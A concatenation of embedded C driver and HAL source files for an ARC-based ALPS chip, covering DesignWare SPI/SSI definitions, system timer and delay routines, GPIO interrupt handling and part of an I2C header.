.serial_protocol = MOTOROLA_SPI \
}
/* not use. */
#if 0
typedef struct dw_ssi_microwire_control {
uint32_t mw_handshaking;
uint32_t mw_ctrl;
uint32_t mw_transfer_mode;
} dw_ssi_mw_ctrl_t;
#endif
typedef struct dw_ssi_spi_control {
uint32_t rd_strobe_en;
uint32_t ins_ddr_en;
uint32_t ddr_en;
uint32_t wait_cycles;
uint32_t ins_len;
uint32_t addr_len;
uint32_t transfer_type;
} dw_ssi_spi_ctrl_t;
#define DW_SSI_SPI_CTRL_DEFAULT(spi_ctrl) do { \
(spi_ctrl)->rd_strobe_en = 0; \
(spi_ctrl)->ins_ddr_en = 0; \
(spi_ctrl)->ddr_en = 0; \
(spi_ctrl)->wait_cycles = 0; \
(spi_ctrl)->ins_len = DW_SSI_INS_LEN_8; \
(spi_ctrl)->addr_len = DW_SSI_ADDR_LEN_24; \
(spi_ctrl)->transfer_type = DW_SSI_1_1_X;\
} while(0)
#define DW_SSI_SPI_CTRL_STATIC_DEFAULT { \
.rd_strobe_en = 0, \
.ins_ddr_en = 0, \
.ddr_en = 0, \
.wait_cycles = 0, \
.ins_len = DW_SSI_INS_LEN_8, \
.addr_len = DW_SSI_ADDR_LEN_24, \
.transfer_type = DW_SSI_1_1_X \
}
typedef enum dw_ssi_mode {
DW_SSI_MASTER_MODE = 0,
DW_SSI_SLAVER_MODE
} dw_ssi_mode_t;
typedef enum dw_ssi_transfer_mode {
DW_SSI_TR_MODE = 0,
DW_SSI_TRANSMIT_ONLY,
DW_SSI_RECEIVE_ONLY,
DW_SSI_EEPROM
} dw_ssi_transfer_mode_t;
typedef enum dw_ssi_frame_format {
STANDARD_SPI_FRAME_FORMAT = 0,
DUAL_FRAME_FORMAT,
QUAD_FRAME_FORMAT,
OCTAL_FRAME_FORMAT
} dw_ssi_frame_format_t;
typedef enum dw_ssi_instruct_length {
DW_SSI_INS_LEN_0 = 0,
DW_SSI_INS_LEN_4,
DW_SSI_INS_LEN_8,
DW_SSI_INS_LEN_16
} dw_ssi_ins_len_t;
typedef enum dw_ssi_address_length {
DW_SSI_ADDR_LEN_0 = 0,
DW_SSI_ADDR_LEN_4,
DW_SSI_ADDR_LEN_8,
DW_SSI_ADDR_LEN_12,
DW_SSI_ADDR_LEN_16,
DW_SSI_ADDR_LEN_20,
DW_SSI_ADDR_LEN_24,
DW_SSI_ADDR_LEN_28,
DW_SSI_ADDR_LEN_32,
DW_SSI_ADDR_LEN_36,
DW_SSI_ADDR_LEN_40,
DW_SSI_ADDR_LEN_44,
DW_SSI_ADDR_LEN_48,
DW_SSI_ADDR_LEN_52,
DW_SSI_ADDR_LEN_56,
DW_SSI_ADDR_LEN_60
} dw_ssi_addr_len_t;
typedef enum dw_ssi_data_length {
DW_SSI_DATA_LEN_0 = 0,
DW_SSI_DATA_LEN_4 = 3,
DW_SSI_DATA_LEN_5,
DW_SSI_DATA_LEN_6,
DW_SSI_DATA_LEN_7,
DW_SSI_DATA_LEN_8,
DW_SSI_DATA_LEN_9,
DW_SSI_DATA_LEN_10,
DW_SSI_DATA_LEN_11,
DW_SSI_DATA_LEN_12,
DW_SSI_DATA_LEN_13,
DW_SSI_DATA_LEN_14,
DW_SSI_DATA_LEN_15,
DW_SSI_DATA_LEN_16,
DW_SSI_DATA_LEN_17,
DW_SSI_DATA_LEN_18,
DW_SSI_DATA_LEN_19,
DW_SSI_DATA_LEN_20,
DW_SSI_DATA_LEN_21,
DW_SSI_DATA_LEN_22,
DW_SSI_DATA_LEN_23,
DW_SSI_DATA_LEN_24,
DW_SSI_DATA_LEN_25,
DW_SSI_DATA_LEN_26,
DW_SSI_DATA_LEN_27,
DW_SSI_DATA_LEN_28,
DW_SSI_DATA_LEN_29,
DW_SSI_DATA_LEN_30,
DW_SSI_DATA_LEN_31,
DW_SSI_DATA_LEN_32,
DW_SSI_DATA_LEN_MAX = DW_SSI_DATA_LEN_32
} dw_ssi_data_len_t;
typedef enum dw_ssi_tranfer_type {
DW_SSI_1_1_X = 0,
DW_SSI_1_X_X,
DW_SSI_X_X_X
} dw_ssi_transfer_type_t;
typedef struct dw_ssi_transfer_info {
uint8_t ins;
uint8_t rd_wait_cycle;
uint8_t addr_valid;
uint32_t addr;
void *buf;
uint32_t len;
} dw_ssi_xfer_t;
#define DW_SSI_XFER_INIT(instruct, address, wait_cycle, addr_flag) {\
.ins = (instruct),\
.rd_wait_cycle = (wait_cycle),\
.addr_valid = (addr_flag),\
.addr = (address),\
.buf = NULL,\
.len = 0\
}
typedef struct dw_ssi_descriptor {
uint32_t base;
uint32_t mode;
uint8_t int_rx;
uint8_t int_tx;
uint8_t int_err;
uint8_t rx_dma_req;
uint8_t tx_dma_req;
uint32_t ref_clock;
void *ops;
} dw_ssi_t;
typedef struct dw_ssi_operations {
int32_t (*control)(dw_ssi_t *dw_ssi, dw_ssi_ctrl_t *ctrl);
int32_t (*enable)(dw_ssi_t *dw_ssi, uint32_t enable);
//int32_t (*slave_enable)(dw_ssi_t *dw_ssi, uint32_t sel_mask, uint32_t enable);
int32_t (*fifo_entry)(dw_ssi_t *dw_ssi, uint32_t *entry);
int32_t (*fifo_threshold)(dw_ssi_t *dw_ssi, uint32_t rx_thres, uint32_t tx_thres);
int32_t (*baud)(dw_ssi_t *dw_ssi, uint32_t baud);
//int32_t (*rx_data_frame_number)(dw_ssi_t *dw_ssi, uint32_t number);
int32_t (*rx_sample_delay)(dw_ssi_t *dw_ssi, uint32_t delay);
int32_t (*xfer)(dw_ssi_t *dw_ssi, uint32_t *tx_buf, uint32_t *rx_buf, uint32_t len);
/* operate external device, such as, nor flash. */
int32_t (*read)(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag);
int32_t (*write)(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag);
/* @rx_or_tx: 0->rx, 1->tx. */
int32_t (*dma_config)(dw_ssi_t *dw_ssi, uint32_t rx_or_tx, uint32_t en, uint32_t threshold);
int32_t (*int_enable)(dw_ssi_t *dw_ssi, uint32_t mask, uint32_t enable);
int32_t (*int_clear)(dw_ssi_t *dw_ssi, uint32_t status);
int32_t (*int_all_status)(dw_ssi_t *dw_ssi);
int32_t (*int_status)(dw_ssi_t *dw_ssi, uint32_t status);
//int32_t (*int_raw_status)(dw_ssi_t *dw_ssi, uint32_t status);
int32_t (*status)(dw_ssi_t *dw_ssi, uint32_t status);
int32_t (*fifo_data_count)(dw_ssi_t *dw_ssi, uint32_t rx_or_tx);
int32_t (*spi_control)(dw_ssi_t *dw_ssi, dw_ssi_spi_ctrl_t *spi_ctrl);
int32_t (*version)(dw_ssi_t *dw_ssi);
} dw_ssi_ops_t;
/*
typedef enum dw_ssi_clock_mode {
SSI_CPOL_0_CPHA_0 = 0,
SSI_CPOL_0_CPHA_1 = 1,
SSI_CPOL_1_CPHA_0 = 2,
SSI_CPOL_1_CPHA_1 = 3,
SSI_CLK_MODE_0 = SSI_CPOL_0_CPHA_0,
SSI_CLK_MODE_1 = SSI_CPOL_0_CPHA_1,
SSI_CLK_MODE_2 = SSI_CPOL_1_CPHA_0,
SSI_CLK_MODE_3 = SSI_CPOL_1_CPHA_1
} dw_ssi_clock_mode_t;
*/
typedef enum dw_ssi_status_type {
SSI_STS_DATA_COLLISION_ERROR = 0,
SSI_STS_TRANSMISSION_ERROR,
SSI_STS_RX_FIFO_FULL,
SSI_STS_RX_FIFO_NOT_EMPTY,
SSI_STS_TX_FIFO_EMPTY,
SSI_STS_TX_FIFO_NOT_FULL,
SSI_STS_BUSY,
SSI_STS_ALL
} dw_ssi_sts_t;
typedef enum dw_ssi_interrupt_status_type {
SSI_INT_STS_TX_FIFO_EMPTY = 0,
SSI_INT_STS_TX_FIFO_OVERFLOW,
SSI_INT_STS_RX_FIFO_UNDERFLOW,
SSI_INT_STS_RX_FIFO_OVERFLOW,
SSI_INT_STS_RX_FIFO_FULL,
SSI_INT_STS_MULTI_MASTER_CONTENTION,
SSI_INT_STS_ALL
} dw_ssi_int_sts_t;
typedef enum dw_ssi_fifo_type {
DW_SSI_RX_FIFO = 0,
DW_SSI_TX_FIFO
} dw_ssi_fifo_type_t;
typedef enum dw_ssi_serial_protocol {
MOTOROLA_SPI = 0,
TEXAS_SSP,
NS_MICROWIRE
} dw_ss_serial_prot_t;
int32_t dw_ssi_install_ops(dw_ssi_t *dw_ssi);
#endif
<file_sep>#include "embARC.h"
#include "system.h"
static uint32_t current_cpu_freq = 0;
static uint64_t system_ticks = 0;
static tick_callback tick_timer_callback;
static void tick_timer_isr(void *params)
{
timer_int_clear(CHIP_SYS_TIMER_ID);
system_ticks += 1;
}
void system_tick_init(void)
{
if (timer_present(CHIP_SYS_TIMER_ID)) {
/* disable first then enable */
int_disable(CHIP_SYS_TIMER_INTNO);
int_handler_install(CHIP_SYS_TIMER_INTNO, tick_timer_isr);
/* start 1ms timer interrupt */
timer_start(CHIP_SYS_TIMER_ID, TIMER_CTRL_IE|TIMER_CTRL_NH, \
current_cpu_freq / CHIP_SYS_TIMER_HZ);
int_enable(CHIP_SYS_TIMER_INTNO);
}
}
uint64_t system_ticks_get(void)
{
return system_ticks;
}
void chip_hw_udelay(uint32_t us)
{
uint32_t cur_cnt_high, s_cnt_high = 0;
uint64_t cur_cnt, s_cnt = 0;
uint32_t delta, tick_cnt = (current_cpu_freq / 1000000) * us;
timer_current_high(TIMER_RTC, (void *)&s_cnt_high);
timer_current(TIMER_RTC, (void *)&s_cnt);
s_cnt |= ((uint64_t)s_cnt_high) << 32;
do {
timer_current_high(TIMER_RTC, (void *)&cur_cnt_high);
timer_current(TIMER_RTC, (void *)&cur_cnt);
cur_cnt |= ((uint64_t)cur_cnt_high) << 32;
delta = cur_cnt - s_cnt;
} while (delta < tick_cnt);
}
void chip_hw_mdelay(uint32_t ms)
{
chip_hw_udelay(1000 * ms);
}
void set_current_cpu_freq(uint32_t freq)
{
current_cpu_freq = freq;
}
void system_tick_timer_callback_register(tick_callback func)
{
tick_timer_callback = func;
}
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
* \defgroup CHIP_ALPS_COMMON_TIMER ALPS Common Timer Module
* \ingroup CHIP_ALPS_COMMON
* \brief provide basic chip timer-related functions
* \details
* Provide a 1 MS (default) timer interrupt,
* provide a 64-bit counter value (no clear) count in the timer interrupt,
* provide MS-precision delay, with OS enabled-support delay
*/
/**
* \file
* \ingroup CHIP_ALPS_COMMON_TIMER
* \brief provide alps chip timer-related functions
*/
/**
* \addtogroup CHIP_ALPS_COMMON_TIMER
* @{
*/
#include "arc_builtin.h"
#include "arc.h"
#include "arc_timer.h"
#include "arc_exception.h"
#include "chip.h"
#ifdef ENABLE_OS
#include "os_hal_inc.h"
#endif
#define MAX_SYS_COUNTER_VALUE (0xffffffff)
#ifndef CHIP_SYS_TIMER_HZ
#define CHIP_SYS_TIMER_HZ (1000)
#endif
/* current CPU frequency */
static uint32_t current_cpu_freq = 0;
/** alps chip timer counter in timer interrupt */
volatile uint64_t gl_alps_sys_hz_cnt = 0;
/** alps chip 1ms counter */
volatile uint32_t gl_alps_ms_cnt = 0;
#define HZ_COUNT_CONV(precision, base) ((precision)/(base))
/**
* \brief Update timer counter and other MS period operation
* in cycling interrupt and must be called periodically. When the OS timer
* interrupt is in conflict with the bare-metal timer interrupt,
* put this function into the OS timer interrupt
* \param[in] precision interrupt-period precision in Hz
*/
void chip_timer_update(uint32_t precision)
{
static uint32_t sys_hz_update = 0;
static uint32_t sys_ms_update = 0;
uint32_t hz_conv = 0;
/** count sys hz */
hz_conv = HZ_COUNT_CONV(precision, CHIP_SYS_TIMER_HZ);
sys_hz_update ++;
if (sys_hz_update >= hz_conv) {
sys_hz_update = 0;
gl_alps_sys_hz_cnt ++;
}
/** count ms */
hz_conv = HZ_COUNT_CONV(precision, CHIP_SYS_TIMER_MS_HZ);
sys_ms_update ++;
if (sys_ms_update >= hz_conv) {
sys_ms_update = 0;
gl_alps_ms_cnt ++;
#ifdef MID_FATFS
alps_sdcard_1ms_update();
#endif
}
}
/**
* \brief alps bare-metal timer interrupt.
* the Interrupt frequency is based on the defined \ref CHIP_SYS_TIMER_HZ
*/
static void alps_timer_isr(void *ptr)
{
timer_int_clear(CHIP_SYS_TIMER_ID);
chip_timer_update(CHIP_SYS_TIMER_HZ);
}
/**
* \brief init bare-metal alps chip timer and interrupt
* \details
* This function is called in \ref chip_init, and
* it initializes the 1-MS timer interrupt for bare-metal mode
*/
void system_tick_init(void)
{
if (timer_present(CHIP_SYS_TIMER_ID)) {
int_disable(CHIP_SYS_TIMER_INTNO); /* disable first then enable */
int_handler_install(CHIP_SYS_TIMER_INTNO, alps_timer_isr);
timer_start(CHIP_SYS_TIMER_ID, TIMER_CTRL_IE|TIMER_CTRL_NH, current_cpu_freq / CHIP_SYS_TIMER_HZ); /* start 1ms timer interrupt */
int_enable(CHIP_SYS_TIMER_INTNO);
}
}
/**
* \brief get current cpu hardware ticks
* \retval hardware ticks count in 64bit format
*/
uint64_t chip_get_hwticks(void)
{
uint32_t sub_ticks;
uint64_t total_ticks;
timer_current(TIMER_0, &sub_ticks);
total_ticks = (uint64_t)OSP_GET_CUR_MS() * (current_cpu_freq/CHIP_SYS_TIMER_HZ);
total_ticks += (uint64_t)sub_ticks;
return total_ticks;
}
/**
* \brief get current passed us since timer init
* \retval us count in 64bit format
*/
uint64_t chip_get_cur_us(void)
{
uint32_t sub_us;
uint64_t total_us;
timer_current(TIMER_0, &sub_us);
sub_us = ((uint64_t)sub_us * 1000000) / current_cpu_freq;
total_us = ((uint64_t)OSP_GET_CUR_MS()) * 1000 + (uint64_t)sub_us;
return total_us;
}
/**
* \brief provide MS delay function
* \details
* this function needs a 1-MS timer interrupt to work.
* For bare-metal, it is implemented in this file.
* For OS, you must call \ref chip_timer_update in
* the OS 1-MS timer interrupt when the bare-metal timer interrupt
* is not ready
* \param[in] ms MS to delay
* \param[in] os_compat Enable or disable
* When this delay is enabled, use the OS delay function, if one is provided.
* See \ref OSP_DELAY_OS_COMPAT_ENABLE and
* \ref OSP_DELAY_OS_COMPAT_DISABLE
*/
void chip_delay_ms(uint32_t ms, uint8_t os_compat)
{
uint64_t start_us, us_delayed;
#ifdef ENABLE_OS
if (os_compat == OSP_DELAY_OS_COMPAT_ENABLE) {
/** \todo add different os delay functions */
#ifdef OS_FREERTOS
vTaskDelay(ms);
return;
#endif
}
#endif
us_delayed = ((uint64_t)ms * 1000);
start_us = chip_get_cur_us();
while ((chip_get_cur_us() - start_us) < us_delayed);
}
/**
* \brief provide uS delay function
* \details
* this function needs a 1-uS timer interrupt to work.
* For bare-metal, it is implemented in this file.
* For OS, you must call \ref board_timer_update in
* the OS 1-uS timer interrupt when the bare-metal timer interrupt
* is not ready
* \param[in] us uS to delay
*/
void chip_delay_us(uint32_t us)
{
uint64_t start_us;
start_us = chip_get_cur_us();
while ((chip_get_cur_us() - start_us) < us);
}
/**
* mS delay function based on ARC rtc counter.
* note: No task reschedule, pure delay
**/
void chip_hw_mdelay(uint32_t ms)
{
uint32_t cur_cnt_high, s_cnt_high = 0;
uint64_t cur_cnt, s_cnt = 0;
uint32_t delta, ticks = (current_cpu_freq / 1000) * ms;
timer_current_high(TIMER_RTC, (void *)&s_cnt_high);
timer_current(TIMER_RTC, (void *)&s_cnt);
s_cnt |= ((uint64_t)s_cnt_high) << 32;
do {
timer_current_high(TIMER_RTC, (void *)&cur_cnt_high);
timer_current(TIMER_RTC, (void *)&cur_cnt);
cur_cnt |= ((uint64_t)cur_cnt_high) << 32;
delta = cur_cnt - s_cnt;
} while (delta < ticks);
}
void chip_hw_udelay(uint32_t us)
{
uint32_t cur_cnt_high, s_cnt_high = 0;
uint64_t cur_cnt, s_cnt = 0;
uint32_t delta, ticks = (current_cpu_freq / 1000000) * us;
timer_current_high(TIMER_RTC, (void *)&s_cnt_high);
timer_current(TIMER_RTC, (void *)&s_cnt);
s_cnt |= ((uint64_t)s_cnt_high) << 32;
do {
timer_current_high(TIMER_RTC, (void *)&cur_cnt_high);
timer_current(TIMER_RTC, (void *)&cur_cnt);
cur_cnt |= ((uint64_t)cur_cnt_high) << 32;
delta = cur_cnt - s_cnt;
} while (delta < ticks);
}
uint32_t get_current_cpu_freq(void)
{
return current_cpu_freq;
}
void set_current_cpu_freq(uint32_t Hz)
{
current_cpu_freq = Hz;
}
/** @} end of group BOARD_ALPS_COMMON_TIMER */
<file_sep>#ifndef _DW_I2C_OBJ_H_
#define _DW_I2C_OBJ_H_
void *i2c_get_dev(uint32_t id);
#endif /* _DW_I2C_OBJ_H_ */<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
static dw_gpio_t *dev_gpio_ptr = NULL;
static callback gpio_callback_list[CHIP_GPIO_NO];
static void gpio_isr(void *param);
int32_t gpio_init(void)
{
int32_t result = E_OK;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
} else {
gpio_enable(1);
}
}
if (E_OK == result) {
uint32_t int_id = dev_gpio_ptr->int_no;
for (; int_id < INTNO_GPIO_MAX; int_id++) {
int_handler_install(int_id, gpio_isr);
}
}
return result;
}
int32_t gpio_set_direct(uint32_t gpio_no, uint32_t dir)
{
int32_t result = E_OK;
dw_gpio_ops_t *gpio_ops = NULL;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
}
}
if (E_OK == result) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL == gpio_ops) {
result = E_NOOPS;
} else {
uint32_t cpu_sts = arc_lock_save();
result = gpio_ops->set_direct(dev_gpio_ptr, \
gpio_no, dir);
arc_unlock_restore(cpu_sts);
}
}
return result;
}
int32_t gpio_write(uint32_t gpio_no, uint32_t level)
{
int32_t result = E_OK;
dw_gpio_ops_t *gpio_ops = NULL;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
}
}
if (E_OK == result) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL == gpio_ops) {
result = E_NOOPS;
} else {
uint32_t cpu_sts = arc_lock_save();
result = gpio_ops->write(dev_gpio_ptr, \
gpio_no, level);
arc_unlock_restore(cpu_sts);
}
}
return result;
}
int32_t gpio_read(uint32_t gpio_no)
{
int32_t result = E_OK;
dw_gpio_ops_t *gpio_ops = NULL;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
}
}
if (E_OK == result) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL == gpio_ops) {
result = E_NOOPS;
} else {
result = gpio_ops->read(dev_gpio_ptr, gpio_no);
}
}
return result;
}
int32_t gpio_int_register(uint32_t gpio_no, callback func, gpio_int_active_t type)
{
int32_t result = E_OK;
dw_gpio_ops_t *gpio_ops = NULL;
uint32_t cpu_sts = arc_lock_save();
if ( (gpio_no >= 16) || (NULL == func) || \
(type > GPIO_INT_BOTH_EDGE_ACTIVE)) {
result = E_PAR;
} else {
gpio_callback_list[gpio_no] = func;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
}
}
}
if (E_OK == result) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL == gpio_ops) {
result = E_NOOPS;
} else {
result = gpio_ops->set_direct(dev_gpio_ptr, \
gpio_no, DW_GPIO_DIR_INPUT);
if (E_OK == result) {
result = gpio_ops->int_polarity(dev_gpio_ptr, \
gpio_no, type);
}
}
}
if (E_OK == result) {
/* reigster callback... */
result = gpio_ops->int_enable(dev_gpio_ptr, gpio_no, 1, 0);
if (E_OK == result) {
int_enable(dev_gpio_ptr->int_no + gpio_no);
dmu_irq_enable(dev_gpio_ptr->int_no + gpio_no, 1);
} else {
/* TODO: unregsiter callback! */
gpio_callback_list[gpio_no] = NULL;
}
}
arc_unlock_restore(cpu_sts);
return result;
}
int32_t gpio_int_unregister(uint32_t gpio_no)
{
int32_t result = E_OK;
dw_gpio_ops_t *gpio_ops = NULL;
uint32_t cpu_sts = arc_lock_save();
if (gpio_no >= 16) {
result = E_PAR;
} else {
if (NULL != dev_gpio_ptr) {
int_disable(dev_gpio_ptr->int_no + gpio_no);
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL == gpio_ops) {
result = E_NOOPS;
} else {
result = gpio_ops->int_enable(dev_gpio_ptr, gpio_no, 0, 1);
}
} else {
result = E_NOEXS;
}
gpio_callback_list[gpio_no] = NULL;
}
arc_unlock_restore(cpu_sts);
return result;
}
int32_t gpio_interrupt_enable(uint32_t gpio_no, uint32_t en)
{
int32_t result = E_OK;
uint32_t irq_id = 0;
dw_gpio_ops_t *gpio_ops = NULL;
if ((NULL != dev_gpio_ptr) && (NULL != dev_gpio_ptr->ops)) {
irq_id = dev_gpio_ptr->int_no + gpio_no;
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
}
if ((gpio_no < 16) && (irq_id > 0)) {
uint32_t cpu_sts = arc_lock_save();
if (en) {
dmu_irq_enable(irq_id, 1);
result = gpio_ops->int_enable(dev_gpio_ptr,
gpio_no, 1, 0);
} else {
dmu_irq_enable(irq_id, 0);
result = gpio_ops->int_enable(dev_gpio_ptr,
gpio_no, 0, 1);
}
arc_unlock_restore(cpu_sts);
} else {
result = E_PAR;
}
return result;
}
void gpio_interrupt_clear(uint32_t gpio_no)
{
dw_gpio_ops_t *gpio_ops = NULL;
if ((gpio_no < 16) && (NULL != dev_gpio_ptr)) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL != gpio_ops) {
gpio_ops->int_clear(dev_gpio_ptr, gpio_no);
}
}
}
static void gpio_isr(void *param)
{
int32_t result = E_OK;
uint32_t id = 0;
uint32_t int_sts = 0;
dw_gpio_ops_t *gpio_ops = NULL;
if (NULL == dev_gpio_ptr) {
dev_gpio_ptr = (dw_gpio_t *)dw_gpio_get_dev();
if (NULL == dev_gpio_ptr) {
result = E_NOEXS;
}
}
if (E_OK == result) {
gpio_ops = (dw_gpio_ops_t *)dev_gpio_ptr->ops;
if (NULL != gpio_ops) {
result = gpio_ops->int_all_status(dev_gpio_ptr);
if (result <= 0) {
result = E_SYS;
} else {
int_sts = (uint32_t)result;
result = E_OK;
}
} else {
result = E_NOOPS;
}
}
if (E_OK == result) {
/* handle interrupt! */
while (int_sts) {
if (int_sts & (1 << id)) {
int_sts &= ~(1 << id);
gpio_callback_list[id]((void *)dev_gpio_ptr);
result = gpio_ops->int_clear(dev_gpio_ptr, id);
if (E_OK != result) {
break;
}
}
id++;
}
}
if (E_OK != result) {
/* TODO: seriously, System Crash! */
}
}
<file_sep>#ifndef _DW_I2C_H_
#define _DW_I2C_H_
#define DATA_COMMAND(cmd , stop, restart, data) ( \
(((cmd) & 0x1) << 8) | \
(((stop) & 0x1) << 9) | \
(((restart) & 0x1) << 10) | \
((data) & 0xFF) )
#define I2C_INT_GEN_CALL (1 << 11)
#define I2C_INT_START_DET (1 << 10)
#define I2C_INT_STOP_DET (1 << 9)
#define I2C_INT_ACTIVITY (1 << 8)
#define I2C_INT_TX_ABRT (1 << 6)
#define I2C_INT_TX_EMPTY (1 << 4)
#define I2C_INT_TX_OVERFLW (1 << 3)
#define I2C_INT_RX_FULL (1 << 2)
#define I2C_INT_RX_OVERFLW (1 << 1)
#define I2C_INT_RX_UNDERFLOW (1 << 0)
typedef enum {
DW_I2C_STS_ACT = 0,
DW_I2C_STS_TFNF,
DW_I2C_STS_TFE,
DW_I2C_STS_RFNE,
DW_I2C_STS_RFF,
DW_I2C_STS_M_ACT,
DW_I2C_STS_S_ACT,
DW_I2C_STS_INVALID
} dw_i2c_status_t;
#define DW_I2C_ACTIVITY(status) ((status) & (1 << DW_I2C_STS_ACT))
#define DW_I2C_TXFIFO_N_FULL(status) ((status) & (1 << DW_I2C_STS_TFNF))
#define DW_I2C_TXFIFO_EMPTY(status) ((status) & (1 << DW_I2C_STS_TFE))
#define DW_I2C_RXFIFO_N_EMPTY(status) ((status) & (1 << DW_I2C_STS_RFNE))
#define DW_I2C_RXFIFO_FULL(status) ((status) & (1 << DW_I2C_STS_RFF))
typedef enum dw_i2c_int_type {
DW_I2C_RX_UNDER = 0,
DW_I2C_RX_OVER,
DW_I2C_RX_FULL,
DW_I2C_TX_OVER,
DW_I2C_TX_EMPTY,
DW_I2C_RESERVED,
DW_I2C_TX_ABRT,
DW_I2C_RX_DONE,
DW_I2C_ACTIVITY,
DW_I2C_STOP_DET,
DW_I2C_START_DET,
DW_I2C_GEN_CALL,
DW_I2C_RESTART_DET,
DW_I2C_M_ON_HOLD,
DW_I2C_STUCK_AT_LOW,
DW_I2C_INT_INVALID
} dw_i2c_int_type_t;
#define DW_I2C_INT_RX_UNDER(status) (((status) & (1 << DW_I2C_RX_UNDER)) ? (1) : (0))
#define DW_I2C_INT_RX_OVER(status) (((status) & (1 << DW_I2C_RX_OVER)) ? (1) : (0))
#define DW_I2C_INT_RX_UNDER_EN (1 << DW_I2C_RX_UNDER)
#define DW_I2C_INT_RX_OVER_EN (1 << DW_I2C_RX_OVER)
typedef enum {
DW_I2C_ABRT_7ADDR_NOACK = 0,
DW_I2C_ABRT_10ADDR1_NOACK,
DW_I2C_ABRT_10ADDR2_NOACK,
DW_I2C_ABRT_TXDATA_NOACK,
DW_I2C_ABRT_GCALL_NOACK,
DW_I2C_ABRT_GCALL_READ,
DW_I2C_ABRT_HS_ACKDET,
DW_I2C_ABRT_SBYTE_ACKDET,
DW_I2C_ABRT_HS_NORSTRT,
DW_I2C_ABRT_SBYTE_NORSTRT,
DW_I2C_ABRT_10B_RD_NORSTRT,
DW_I2C_ABRT_M_DIS,
DW_I2C_ARB_LOST,
DW_I2C_ABRT_USER_ABRT = 16,
DW_I2C_ABRT_TX_FLUSHED_CNT = 23
} dw_i2c_tx_abort_src_t;
#define DW_I2C_TX_ABRT_7ADDR_NO_ACK(status) ((status) & (1 << DW_I2c_ABRT_7ADDR_NOACK))
#define DW_I2C_TX_ABRT_10ADDR_NO_ACK(status) (\
((status) & (1 << DW_I2c_ABRT_10ADDR1_NOACK)) || \
((status) & (1 << DW_I2c_ABRT_10ADDR2_NOACK)))
#define DW_i2c_TX_ABRT_FLUSHED_CNT(status) (((status) & 0x1FF) >> DW_I2C_ABRT_TX_FLUSHED_CNT)
typedef enum {
I2C_SPPED_STANDARD_MODE = 0,
I2C_SPEED_FAST_MODE,
I2C_SPEED_HIGH_MODE
} dw_i2c_speed_mode_t;
typedef enum {
I2C_7BIT_ADRRESS = 0,
I2C_10BIT_ADDRESS = 1,
} dw_i2c_address_mode_t;
/* @mode: 0->slave, 1->master. */
typedef struct {
uint8_t mode;
dw_i2c_speed_mode_t speed;
dw_i2c_address_mode_t addr_mode;
uint8_t restart_en;
uint8_t tx_empty_inten;
} dw_i2c_control_t;
typedef struct {
uint32_t base;
uint32_t int_no;
/* 0->slave, 1->master. */
uint32_t mode;
void *ops;
} dw_i2c_t;
int32_t dw_i2c_install_ops(dw_i2c_t *dev_i2c);
typedef struct {
int32_t (*control)(dw_i2c_t *dev_i2c, dw_i2c_control_t *ctrl);
int32_t (*target_address)(dw_i2c_t *dev_i2c, dw_i2c_address_mode_t addr_mode, uint32_t addr);
int32_t (*master_code)(dw_i2c_t *dev_i2c, uint32_t code);
int32_t (*write)(dw_i2c_t *dev_i2c, uint32_t cmd);
int32_t (*read)(dw_i2c_t *dev_i2c, uint32_t *cmd);
int32_t (*scl_count)(dw_i2c_t *dev_i2c, dw_i2c_speed_mode_t speed, uint32_t high, uint32_t low);
